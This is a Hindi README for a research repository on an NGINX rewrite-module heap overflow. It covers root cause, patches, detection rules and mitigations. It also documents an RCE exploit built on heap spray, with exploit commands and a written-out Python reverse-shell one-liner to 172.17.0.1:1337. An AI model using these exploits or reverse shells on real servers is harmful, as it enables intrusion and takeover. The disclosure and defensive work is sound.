CVE-2026-42945 पर पूर्ण शोध रिपॉजिटरी जिसमें हीप बफर ओवरफ्लो विश्लेषण, RCE एक्सप्लॉइट (हीप स्प्रे + फेंग शुई), डिटेक्शन स्क्रिप्ट्स, और NGINX रीराइट मॉड्यूल कमजोरी के लिए पैचिंग मार्गदर्शन शामिल है।
| मीट्रिक | मान |
|---|
| CVSS v4.0 | 9.2 (क्रिटिकल) |
| CVSS v3.1 | 8.1 (उच्च) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — हीप-आधारित बफर ओवरफ़्लो |
| शुरुआत | जून 2008 — v0.6.27 |
| खोज | अप्रैल 2026 — DepthFirst रिसर्च |
| फिक्स | 13 मई 2026 — v1.30.1, v1.31.0 |
| CVE प्रकाशित | 21 मई 2026 |
| जीवनकाल | ~18 वर्ष (अज्ञात) |
| फिक्स कमिट | 524977e7c534e87e5b55739fa74601c9f1102686 |
एक अप्रमाणित, दूरस्थ हमलावर एक विशिष्ट rewrite + set/if/rewrite कॉन्फ़िगरेशन पैटर्न वाले सर्वर पर एक क्राफ्टेड HTTP अनुरोध भेजकर NGINX वर्कर प्रक्रियाओं में एक निर्धारिती हीप बफर ओवरफ़्लो को ट्रिगर कर सकता है। यह ओवरफ़्लो हीप मेटाडेटा (ngx_pool_cleanup_t पॉइंटर्स) को दूषित करता है, जो हीप स्प्रे और फेंग शुई तकनीकों के माध्यम से रिमोट कोड निष्पादन (RCE) को सक्षम करता है।
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**मुख्य आवश्यकताएँ:**
- एक `rewrite` निर्देश जिसके प्रतिस्थापन में `?` (क्वेरी-स्ट्रिंग विभाजक) हो
- एक बाद का `set`, `if`, या `rewrite` निर्देश जो एक **अनामित PCRE कैप्चर** (`$1`, `$2`, आदि) को संदर्भित करता है
- rewrite प्रतिस्थापन में `?` `ngx_http_script_start_args_code` को ट्रिगर करता है जो `e->is_args = 1` सेट करता है
### एक हमलावर क्या प्राप्त कर सकता है
| क्षमता | विवरण |
|-----------|-------------|
| **सेवा अस्वीकार (DoS)** | वर्कर प्रक्रियाओं को निर्धारित रूप से क्रैश करें, जिससे रीस्पॉन लूप उत्पन्न होते हैं (ASLR के बावजूद काम करता है) |
| **दूरस्थ कोड निष्पादन (RCE)** | ASLR अक्षम होने पर (या आंशिक ओवरराइट के माध्यम से बाईपास), nginx उपयोगकर्ता के रूप में पूर्ण RCE प्राप्त करें |
| **डेटा चोरी** | मेमोरी रीड प्रिमिटिव के माध्यम से, वर्कर हीप से संवेदनशील डेटा निकालें |
| **स्थायित्व** | वर्कर प्रक्रिया मेमोरी में कोड निष्पादन के माध्यम से बैकडोर लगाएं |
---
## 2. मूल कारण विश्लेषण
### दो-पास स्क्रिप्ट इंजन
NGINX का `ngx_http_rewrite_module` `src/http/ngx_http_script.c` में **दो-पास स्क्रिप्ट इंजन** का उपयोग करता है:
1. **लंबाई पास** (`ngx_http_script_run`): आवश्यक कुल बफर आकार की गणना करने के लिए सभी स्क्रिप्ट कोड पर पुनरावृत्ति करता है। `le.ip` और `le.pos` में लंबाई लिखता है।
2. **कॉपी पास** (`ngx_http_script_copy_len`/`_code`): फिर से पुनरावृत्ति करता है, पूर्व-आवंटित बफर में `e->ip` और `e->pos` पर वास्तविक बाइट्स लिखता है।
प्रत्येक स्क्रिप्ट कोड के लिए दो हैंडलर होते हैं: प्रत्येक पास के लिए एक। उदाहरण के लिए:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### `is_args` फ़्लैग
**इंजन संरचना** (`ngx_http_script_engine_t`) पर फ़्लैग `e->is_args` नियंत्रित करता है कि कॉपी पास कुछ वर्णों को कैसे संभालता है:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
जब e->is_args = 1, तो $N कैप्चर रेफरेंस के लिए कॉपी-कोड ngx_escape_uri() को NGX_ESCAPE_ARGS के साथ कॉल करता है, जो विस्तारित करता है:
+ → %2B (1 बाइट → 3 बाइट, +200%)% → %25 (1 बाइट → 3 बाइट, +200%)& → %26 (1 बाइट → 3 बाइट, +200%)असुरक्षित पैटर्न के लिए निष्पादन प्रवाह:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. **पुनर्लेखन मूल्यांकन** के दौरान, इंजन प्रतिस्थापन स्ट्रिंग में `?` का सामना करता है, जो `ngx_http_script_start_args_code` को सक्रिय करता है, जिससे `e->is_args = 1` सेट होता है।
2. पुनर्लेखन अनुरोध URI को संशोधित करता है और फिर अगले निर्देश पर जारी रहता है।
3. **`e->is_args` कभी साफ़ नहीं किया जाता**।
फिर:```
set $original_endpoint $1;
le) लंबाई पास के लिए बनाया गया है: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
यह सही रूप से le.is_args = 0 को शून्य कर देता है, जिससे लंबाई पास कच्ची, अनएस्केप्ड कैप्चर लंबाई लौटाती है।
e का पुन: उपयोग करता है, जिसमें चरण 1 से अभी भी e->is_args = 1 है। कॉपी पास URI-एस्केपिंग लागू करता है, प्रत्येक एस्केप करने योग्य वर्ण को 1 बाइट से 3 बाइट्स में विस्तारित करता है, जो एक बफर के अंदर होता है जिसका आकार कच्ची लंबाई के लिए निर्धारित किया गया था — हीप ओवरफ़्लो।Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
विस्तार अनुपात `7 + (n_escapable * 2)` है, जहाँ `n_escapable` कैप्चर में `+`, `%` और `&` की संख्या है।
---
## 3. शोषण यांत्रिकी
### अवलोकन
| चरण | तकनीक | विवरण |
|------|-----------|-------------|
| 1 | ओवरफ्लो | हीप बफर को ओवरफ्लो करने के लिए `+` पैडिंग के साथ तैयार URI भेजें |
| 2 | हीप स्प्रे | नियंत्रित डेटा से हीप भरने के लिए `/spray` पर बड़े बॉडी वाले POST भेजें |
| 3 | फेंग शुई | आवंटन को इस प्रकार व्यवस्थित करें कि ओवरफ्लो लक्ष्य (`ngx_pool_cleanup_t`) सन्निकट हो |
| 4 | हैंडलर दूषित करें | ओवरफ्लो `ngx_pool_cleanup_t.handler` को `system()` पते से अधिलेखित कर देता है |
| 5 | क्लीनअप ट्रिगर करें | पूल विनाश की प्रतीक्षा करें → `system(cmd)` हमलावर के कमांड को निष्पादित करता है |
| 6 | रिवर्स शेल | इंटरैक्टिव पहुँच के लिए रिवर्स शेल पेलोड से जुड़ें |
### क्रॉस-अनुरोध फेंग शुई
**एकल-अनुरोध फेंग शुई विफल होता है** क्योंकि ओवरफ्लो `cleanup` पॉइंटर तक पहुँचने से पहले पूल के मेटाडेटा (`->d.next`, `->d.failed`) को दूषित कर देता है। जब अनुरोध के अंत में पूल नष्ट होता है, तो दूषित मेटाडेटा `system()` को कॉल किए जाने से पहले **क्रैश** का कारण बनता है।
इसके बजाय, शोषण **क्रॉस-अनुरोध फेंग शुई** का उपयोग करता है:
1. **अनुरोध 1 (स्प्रे)**: `/spray` पर बड़े बॉडी के साथ POST करें। बैकएंड (`server.py`) `X-Delay` हेडर के साथ प्रतिक्रिया रोकता है, कनेक्शन खुला रखता है और हीप आवंटन को संरक्षित करता है। स्प्रे हीप को नकली `ngx_pool_cleanup_t` ब्लॉक से भरता है।
2. **अनुरोध 2 (ओवरफ्लो)**: ओवरफ्लो URI भेजें। ओवरफ्लो केवल `cleanup` पॉइंटर (पूल मेटाडेटा नहीं) को दूषित करता है, इसे स्प्रे किए गए नकली ब्लॉक की ओर इंगित करता है।
3. **पूल विनाश**: जब स्प्रे प्रतिक्रिया पूरी होती है (विलंब समाप्त), तो पूल की क्लीनअप श्रृंखला नकली ब्लॉक पर जाती है और `system(cmd)` को कॉल करती है।
### पता आवश्यकताएँ
| प्रतीक | मान (डॉकर, ASLR बंद) | विवरण |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | nginx हीप का आधार |
| `system@libc` | `0x7ffff6f6e420` | glibc में `system()` |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | साइकिल पूल का पॉइंटर |
| नकली क्लीनअप पता | `0x5555556a4030` | स्प्रे लक्ष्य पता |
### ASLR बाईपास
ASLR को अक्षम किए बिना, **DoS** (क्रैश) नियतात्मक रूप से काम करता है। ASLR सक्षम होने पर RCE के लिए, दो दृष्टिकोण हैं:
1. **आंशिक अधिलेखन**: एक ही पृष्ठ के भीतर पॉइंटर को स्थानांतरित करने के लिए 1-बाइट या 2-बाइट अधिलेखन का उपयोग करें, शेष निबल्स (16–256 प्रयास) को बलपूर्वक परखें।
2. **सूचना लीक**: लेआउट निर्धारित करने के लिए `/proc/self/maps` पढ़ें या `log_parser.py` मेमोरी विश्लेषण का उपयोग करें।
---
## 4. फिक्स विश्लेषण
### आधिकारिक फिक्स
**कमिट**: `524977e7c534e87e5b55739fa74601c9f1102686`
**फ़ाइल**: `src/http/ngx_http_script.c`
**पंक्ति**: ~1205 (`ngx_http_script_regex_end_code` में)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code लंबाई और कॉपी पास दोनों के दौरान प्रत्येक regex मूल्यांकन के बाद चलता है। यहाँ e->is_args = 0 को रीसेट करने से यह सुनिश्चित होता है:
set, if, rewrite) एक साफ is_args = 0 के साथ शुरू होते हैंngx_http_script_start_args_code अभी भी is_args = 1 सेट कर सकता है जब इसे रिप्लेसमेंट स्ट्रिंग में ? मिलता है — फिक्स उस कार्यक्षमता को नहीं तोड़ताpatches/0002-hardening-bounds-check.patch ngx_http_script_copy_capture_code में एक बाउंड्स जाँच जोड़ता है:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### बैकपोर्ट पैचेस
| पैच | Nginx संस्करण |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. प्रभावित संस्करण
### NGINX ओपन सोर्स
| सीमा | स्थिति |
|-------|--------|
| **0.1.0 – 0.6.26** | अप्रभावित (रीराइट मॉड्यूल अनामित कैप्चर्स से पहले का है) |
| **0.6.27 – 1.30.0** | **असुरक्षित** (18 वर्षों की अवधि) |
| **1.30.1** | पहला सुधारित संस्करण |
| **1.31.0+** | सुधारित (मेनलाइन) |
### NGINX Plus
| रिलीज़ | प्रभावित | सुधारित |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### NGINX इकोसिस्टम
| उत्पाद | प्रभावित | स्थिति |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | परामर्श लंबित |
| F5 NGINX WAF | 5.9.0–5.12.1 | परामर्श लंबित |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | परामर्श लंबित |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | परामर्श लंबित |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | परामर्श लंबित |
| NGINX Agent | 2.0.0–2.35.0 | परामर्श लंबित |
---
## 6. पता लगाना
### संस्करण जाँच```bash
bash detection/detect_vuln.sh
यह स्क्रिप्ट जाँच करती है:
rewrite + ? + capture पैटर्न के लिए कॉन्फ़िगरेशन फ़ाइलेंpython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### कंटेनर स्कैन```bash
python3 detection/container_scan.py
स्थानीय डॉकर इमेजों को NGINX लेबल/एनवी वेरिएबल्स के लिए स्कैन करता है जो कमजोर संस्करणों का संकेत देते हैं।
| नियम सेट | फ़ाइल | कवरेज |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | 100+ लगातार +, 50+ एन्कोडेड एस्केपेबल कैरेक्टर्स को ब्लॉक करता है, स्प्रे एंडपॉइंट को दर-सीमित करता है |
| Suricata/Snort | detection/suricata_rule.rules | GET URIs में अतिरिक्त +, एन्कोडेड कैरेक्टर फ्लड, /spray पर पोस्ट स्प्रे, क्रैश-लूप DoS का पता लगाता है |
| Falco | detection/falco_rule.yaml | रनटाइम: nginx वर्कर पर SIGSEGV, क्रैश लूप (60 सेकंड में 3+), हीप स्प्रे POST डिटेक्शन |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
---
## 7. शमन
### तत्काल (कोड बदलाव के बिना)
सभी `rewrite` निर्देशों में **अनामित कैप्चर** को **नामित कैप्चर** से बदलें:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
नामित कैप्चर ngx_escape_uri(..., NGX_ESCAPE_ARGS) से नहीं गुज़रते, इसलिए e->is_args = 1 होने पर भी कोई विस्तार नहीं होता और कोई अतिप्रवाह नहीं होता।
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
ये हार्डनिंग उपाय लागू करता है:
- ASLR सत्यापन और अनिवार्य सक्षमीकरण
- वर्कर प्रक्रिया पृथक्करण
- कोर डंप प्रतिबंध
- SSL/TLS हार्डनिंग
- दर सीमा निर्धारण
- CSP हेडर
### ASLR जाँच```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
## 9. त्वरित आरंभ```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
डॉकर वातावरण:
- NGINX को कमिट `98fc3bb78` (फिक्स से पहले अंतिम कमजोर कमिट) पर स्रोत से बनाता है
- इसमें GDB, valgrind, `util-linux` शामिल है (`setarch -R` के लिए ASLR अक्षम करने हेतु)
- पोर्ट **19321** (कमजोर nginx), **19322** (द्वितीयक), **19323** (पायथन बैकएंड) को उजागर करता है
- एंट्रीपॉइंट नियतात्मक शोषण पता लेआउट के लिए ASLR अक्षम करने हेतु `setarch x86_64 -R` का उपयोग करता है
- डिबगिंग के लिए `SYS_PTRACE` क्षमता और `seccomp=unconfined` प्रदान करता है
### केवल कमजोर```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN कंटेनर```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. अतिप्रवाह को ट्रिगर करें
### मूल क्रैश (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
यह भेजता है:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
कैप्चर `$1` में `+` वर्ण कॉपी पास के दौरान 3× विस्तारित हो जाते हैं जबकि बफ़र को कच्ची लंबाई के लिए आकार दिया गया था, जिससे हीप ओवरफ्लो हो जाता है।
### अपेक्षित आउटपुट```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
`+` चिह्नों की न्यूनतम संख्या की गणना करता है जो लक्ष्य बाइट्स की संख्या को ओवरफ्लो करने के लिए आवश्यक हैं (विशिष्ट हीप संरचनाओं का शोषण करते समय उपयोगी)।
### वर्ण विस्तार```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
दिए गए प्रीफिक्स लंबाई और एस्केप करने योग्य वर्णों की संख्या के लिए विस्तार अनुपात आउटपुट करता है।
यह एक्सप्लॉइट विश्वसनीय कोड निष्पादन प्राप्त करने के लिए क्रॉस-रिक्वेस्ट फेंग शुई को लागू करता है:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### मूल उपयोग```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### उन्नत विकल्प
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|------|---------|-------------|
| `--host` | `127.0.0.1` | लक्ष्य होस्ट |
| `--port` | `19321` | लक्ष्य पोर्ट |
| `--cmd` | — | निष्पादित करने का आदेश (`--shell` को छोड़कर आवश्यक) |
| `--shell` | — | इंटरैक्टिव शेल मोड का उपयोग करें |
| `--tries` | `3` | एक्सप्लॉइट प्रयासों की संख्या |
| `--delay` | `2.0` | स्प्रे और ओवरफ्लो के बीच विलंब (सेकंड) |
| `--payload` | — | कस्टम पेलोड फ़ाइल का पथ |
| `--debug` | — | वर्बोज़ डीबग आउटपुट सक्षम करें |
### हीप लेआउट विश्लेषण```bash
python3 exploit/heap_layout.py
एक चालू nginx वर्कर PID की आवश्यकता है। /proc/PID/maps को पार्स करके खोजता है:
system() फ़ंक्शन का पताpython3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
उन हीप पतों को ढूंढता है जिनके बाइट्स में एस्केपेबल कैरेक्टर्स (`+`, `%`, `&`, `?`, आदि) शामिल नहीं हैं, जिनका उपयोग एक्सप्लॉइट पेलोड निर्माण में किया जाता है।
---
## 13. रिवर्स शेल सत्यापन
### आर्किटेक्चर```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| प्रकार | बाइनरी | नोट्स |
|---|---|---|
bash | /dev/tcp | बिल्ट-इन bash TCP |
python | python3 -c | सबसे विश्वसनीय, हमेशा उपलब्ध |
nc | nc | नेटकैट |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | प्रमाणपत्र की आवश्यकता है |
powershell | powershell | विंडोज लक्ष्य |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### स्वचालित सत्यापन```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
## 14. पैचिंग
### फिक्स लागू करें```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### बैकपोर्ट लागू करें```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
## 15. परीक्षण
### इकाई परीक्षण```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
रन:
1. यूनिट परीक्षण (pytest या unittest)
2. ट्रिगर/ओवरफ़्लो परीक्षण (यदि सर्वर चल रहा है)
3. असुरक्षित और सुरक्षित कॉन्फ़िग के विरुद्ध कॉन्फ़िग स्कैनर
4. पैच ड्राई-रन सत्यापन
### रिग्रेशन मैट्रिक्स```bash
bash tools/regression_matrix.sh
कई NGINX संस्करणों (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) का परीक्षण कमजोर और सुरक्षित कॉन्फ़िगरेशन के विरुद्ध करता है, जिसमें क्रैश/नो-क्रैश अपेक्षाओं की पुष्टि की जाती है।
bash tools/test_all_configs.sh
सभी कॉन्फ़िग पैटर्न (बेसिक, एडवांस्ड, इनग्रेस, गेटवे) को ओवरफ़्लो ट्रिगर्स के साथ परीक्षण करता है।
---
## 16. फ़ज़िंग
### libFuzzer Harness
फ़ज़र (`fuzz/ngx_http_script_fuzz.c`) दो-पास स्क्रिप्ट इंजन का अनुकरण करता है:
1. इनपुट को स्क्रिप्ट कोड के अनुक्रम के रूप में पार्स करता है
2. लंबाई पास निष्पादित करता है
3. `e->is_args = 1` के साथ कॉपी पास निष्पादित करता है
4. ASAN या आकार बेमेल के माध्यम से बफ़र ओवरफ़्लो का पता लगाता है```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Launches AFL++ with ASAN, configurable timeout, and memory limits against the fuzzing harness.
### बीज कॉर्पस
`fuzz/corpus/` निर्देशिका में ऐसे बीज इनपुट शामिल हैं जो कमजोर पैटर्न को पुनः उत्पन्न करते हैं, जिनमें शामिल हैं:
- बुनियादी ओवरफ़्लो ट्रिगर
- नामित कैप्चर (ओवरफ़्लो नहीं होना चाहिए)
- किनारे के मामले (खाली कैप्चर, अधिकतम आकार, आदि)
---
## 17. CI पाइपलाइन
### GitHub Actions
प्रोजेक्ट एक **एकल GitHub Actions CI** वर्कफ़्लो (`.github/workflows/ci.yml`) का उपयोग करता है जिसमें ये जॉब्स हैं:
| जॉब | क्या करता है |
|-----|-------------|
| `lint` | ShellCheck, Python सिंटैक्स सत्यापन |
| `scan-configs` | सभी कॉन्फ़िग सैंपल पर config_scanner.py चलाता है |
| `fuzz-build` | libFuzzer हार्नेस बनाता है |
| `test` | pytest/unittest सूट चलाता है |
| `detect-patch` | पैच फ़ॉर्मेट और फिक्स सामग्री की पुष्टि करता है |
| `verify-project` | `tools/verify_project.sh` चलाता है |
### पूर्ण पाइपलाइन```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
पाइपलाइन 7 चरण निष्पादित करती है:
| Document | Description |
|---|---|
docs/root-cause-analysis.md | दो-पास स्क्रिप्ट इंजन बग का गहन तकनीकी विश्लेषण, कोड वॉकथ्रू और आरेखों के साथ |
docs/exploitation-guide.md | चरण-दर-चरण शोषण, हीप स्प्रे, फेंग शुई, पता गणना, ASLR बाईपास |
docs/detection-guide.md | Config स्कैनिंग, लॉग विश्लेषण, WAF नियम, SIEM एकीकरण, विसंगति पहचान |
docs/mitigation-guide.md | नामित कैप्चर रूपांतरण, दर सीमित, WAF परिनियोजन, उन्नयन प्रक्रियाएँ |
docs/FAQ.md | भेद्यता, शोषण और सुधार के बारे में अक्सर पूछे जाने वाले प्रश्न |
